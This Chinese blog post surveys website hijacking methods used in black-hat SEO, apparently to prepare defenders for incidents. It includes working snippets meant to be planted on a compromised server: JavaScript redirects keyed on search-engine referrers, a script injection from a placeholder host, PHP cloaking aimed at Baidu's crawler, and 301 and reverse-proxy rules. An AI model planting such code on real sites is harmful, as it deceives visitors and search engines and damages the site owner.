前言

本文主要是对常见的网站劫持方法进行总结学习,通过提前学习了解,不至于在遇到实际项目时手足无措。

网站劫持是黑帽SEO中的一种方式,可以通过入侵服务器获得权限后,对前端JS、后端脚本文件以及中间件进行设置,从而达到跳转到恶意网站提高网站权重的方法。

劫持方法

客户端劫持

客户端劫持手法有很多种,但是主要的就是以下两种

  • js劫持
  • header劫持

js劫持,顾名思义,就是通过新增或者将内容插入到网页中,通过JS代码达到跳转的目的。

JS劫持可以直接写入到源代码中,或者写入到数据库中(页面加载数据库内容,显示到页面),加载文件时,主要显示到页面中,jS代码就会生效,实现跳转。

<script>var s=document.referrer;
if(s.indexOf("baidu")>0||s.indexOf("soso")>0||s.indexOf("google")>0||s.indexOf("yahoo")>0||s.indexOf("sogou")>0||s.indexOf("youdao")>0||s.indexOf("bing")>0){self.location='http://www.xxxx.com';
}</script>
 var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}\//ig;var where =document.referer;if(regexp.test(where)){document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script&gt;');}else{window.location.href="../../404.htm";}

header 劫持,是通过标签 实现的,将以下内容放置到html文件的header头中,就会实现跳转,成功劫持

<meta http-equiv="refresh" content="3; url=https://www.baidu.com">

服务端劫持

服务端劫持也称为全局劫持,手法为修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。

除了修改的特定文件外,还要注意Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。

<?php
error_reporting(0);
//判断是否为百度蜘蛛,然后进行内容劫持
if(stripos($_SERVER["HTTP_USER_AGENT"],"baidu")>-1){
$file = file_get_contents('http://www.xxxx.com');
echo $file;
exit;
}
//判断是否来自百度搜索,然后进行url跳转
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {
Header("Location: http://www.xxxx.com/");//指定跳转
exit;
}
?>

利用301重定向劫持

301永久重定向是一种非常重要的“自动转向”技术,是网址重定向最为可行的一种办法。当用户或搜索引擎向网站服务器发出浏览请求时,服务器返回的HTTP数据流中头信息(header)中的状态码的一种,表示本网页永久性转移到另一个地址。–百度百科

IIS

右键-属性-网站-IP地址哪里点编辑增加一个站点,增加一个站点,绑定的一下主机头,也可以绑定多个闲置域名。然后使用如下图所示步骤进行配置,即可实现301跳转。


apache

在网站根目录创建或编辑.htaccess文件
添加以下代码
保存配置完成

RewriteEngine On
RewriteCond %{HTTP_HOST} ^ioiox.com [NC]
RewriteRule ^(.*)$ https://www.ioiox.com/$1 [L,R=301]

Nginx

配置文件示例

还可以输入nginx -t检查错误

wordpress

在你的WordPress根目录下找到wp-blog-header.php文件,在第一个<?php 后面添加以下代码

if (strtolower($_SERVER['SERVER_NAME'])!='AAA.cn'){$URIRedirect=$_SERVER['REQUEST_URI'];
if(strtolower($URIRedirect)=="/index.php"){$URIRedirect="/";
}
header('HTTP/1.1 301 Moved Permanently');
header('Location:http://AAA.cn’.$URIRedirect);
exit();
}

代码实现

除了使用中间件实现之外,还可以通过代码进行实现。

ASP

<%
if request.ServerVariables("HTTP_HOST")="tzchb.com" then Response.Status="301 Moved Permanently"  Response.AddHeader "Location","http://www.tzhcb.com/"Response.End
end if%>

PHP

header("HTTP/1.1 301 Moved Permanently");
header("Location:your_dest_url");

反向代理劫持

通过配置反向代理,可以实现特定访问特定路径时,被代理到恶意网站,实现劫持。

Nginx

主配置文件

location ~ /[0-9a-z]+sc {proxy_pass  https://www.xxxx.com/;
}

apache

主配置文件

#反向代理ProxyRequests OffProxyPass /clusterDemo http://127.0.0.1:8081/clusterDemoProxyPassReverse /clusterDemo http://127.0.0.1:8081/clusterDemoProxyPass /clusterDemo2 http://127.0.0.1:8082/clusterDemo2ProxyPassReverse /clusterDemo2 http://127.0.0.1:8082/clusterDemo2ProxyPass /clusterDemo3 http://127.0.0.1:8083/clusterDemo3ProxyPassReverse /clusterDemo3 http://127.0.0.1:8083/clusterDemo3#8888为apache的监听端口<proxy http://127.0.0.1:8888>AllowOverride NoneOrder Deny,AllowAllow from all</proxy>

IIS恶意模块劫持

这种算是劫持时比较隐蔽的行为了,通过查杀工具查杀不到webshell,根据存在问题的链接去找文件夹也是找不到

排查时对不存在文件签名和奇怪路径的,创建时间不正常的进行排查。


参考

https://blog.csdn.net/cekaogai5015/article/details/100962570
https://cloud.tencent.com/developer/article/1811987
https://blog.csdn.net/UG8064/article/details/101334779
https://cloud.tencent.com/developer/article/1721931
https://blog.csdn.net/wendi_0506/article/details/88073414
https://www.ioiox.com/archives/18.html
https://www.ioiox.com/archives/19.html
https://developer.aliyun.com/article/334896

关于网站劫持被劫持应急响应中需要检查的关键点相关推荐

  1. 【网络安全】什么是应急响应,应急响应中你到底该关注哪些指标?

    一.前言 今天这一篇文章主要就是介绍应急响应中的KPI.不过在讨论之前,还是得简单的介绍一下什么是应急响应. 二.什么是应急响应? "应急响应"对应的英文是"Incide ...

  2. mysql数据库回滚日志_Mysql数据库应急响应中日志排查

    常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...

  3. 2023年网络安全比赛--网络安全应急响应中职组(超详细)

    一.竞赛时间 180分钟 共计3小时 二.竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 1.找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交: 2.找出系统中被植入的后门用户删 ...

  4. 网络安全应急响应----10、内存分析

    文章目录 一.基于软件的内存获取技术和工具 1.1.利用对象或设备直接读取物理内存的软件 1.2.利用驱动或内核扩展读取物理内存的软件 二.基于硬件的内存获取技术和工具 2.1.使用网卡获取物理内存 ...

  5. 应急响应处置现场流程 - 系统排查04

    在日常工作中遇到更多的是在事件发生后进行的问题排查及溯源.常见网络安全应急响应场景有勒索病毒.挖矿木马.Webshell.网页篡改.DDoS攻击.数据泄露.流量劫持: 在现场处置过程中,先要确定事件类 ...

  6. 应急响应 - Webshell 处理 15

    目录 Webshell概述 Webshell分类 JSP型Webshell脚本 ASP型Webshell脚本 PHP型Webshell脚本 Webshell用途 1.站长工具 2.持续远程控制 3.权 ...

  7. 如何做好应急响应工作?常见应急响应流程

    一.前言 这是博主对于应急响应归纳出来的方法论,一个笼统的.抽象的概念,包含思路和方法. 二.常见应急响应流程 这是博主自己的经验总结出来的应急响应流程,也是亲自去应急时的流程. 三.响应 这里不讨论 ...

  8. 应急响应常用命令(Linux)---读书笔记

    一.系统排查 1. 系统信息查询 lscpu             --- 查看cpu信息 uname -a      --- 查看OS信息 lsmod          --- 查看模块信息 2. ...

  9. 手把手教你做挖矿应急响应

    前言 攻防之道,攻是矛,防是盾.应急响应就是防守中最重要的一环,思路清晰的应急响应可以使你事半功倍,抓住攻击者的小尾巴! 本文主要面向无应急基础人员入门引导,大佬轻喷!!! 文中会引用几次我经历过的真 ...

最新文章

  1. java虚拟机线程调优与底层原理分析_Java并发编程——多线程的底层原理
  2. 把Doc文档转换成rtf格式
  3. mvc设计模式现在过时了吗_尚学堂115——设计模式、源码分析以及SpringData
  4. linux debian 自动安装,debian系统精简安装
  5. 移动应用发展远超Web 谷歌苹果将主导世界?联网的发展才刚刚开始
  6. 怎么样使用git克隆网站上的代码到本地文件夹(快捷)
  7. 求n个数的最大公因数和最小公倍数(c)
  8. AI算法连载04:数学基础之蒙特卡洛方法与MCMC采样
  9. windows qt 不能debug_linux配置vlc-qt
  10. java排班_使用java规则引擎Drools自动排班前言.doc
  11. Android7.0,剪裁后提示“无法保存经过裁剪的图片”
  12. 【POJ1177】【HDU1828】【codevs2149】矩形面积周长并
  13. 前端跨域问题(CORS)
  14. android_ratingbar的使用错误
  15. BootStrap格栅系统
  16. hosts 文件目录
  17. 【论文写作技巧】Endnote参考文献统一输出格式
  18. 如何用SOLIDWORKS实现文字雕刻?来试试这样做!
  19. Nginx动静分离经典配置
  20. 平车调整刀片如何调整_最新电脑带刀平车基本故障与维修方法

热门文章

  1. 航海王燃烧意志如何修改服务器,航海王燃烧意志角色怎么改名 航海王燃烧意志角色名更改方法介绍...
  2. pusher 创建新应用_laravel之pusher应用广播事件- 黑白课堂
  3. 大数据基础(专 2022春)
  4. Android性能系列-运算篇
  5. MODIS卫星遥感数据下载处理
  6. ios设置按钮不能点击并变灰色
  7. 人群密度向:CMTL
  8. 雷泰Endurance高温红外测温仪
  9. 过滤器一:过滤器简介;创建第一个Filter;
  10. 你的收入在全国算什么水平?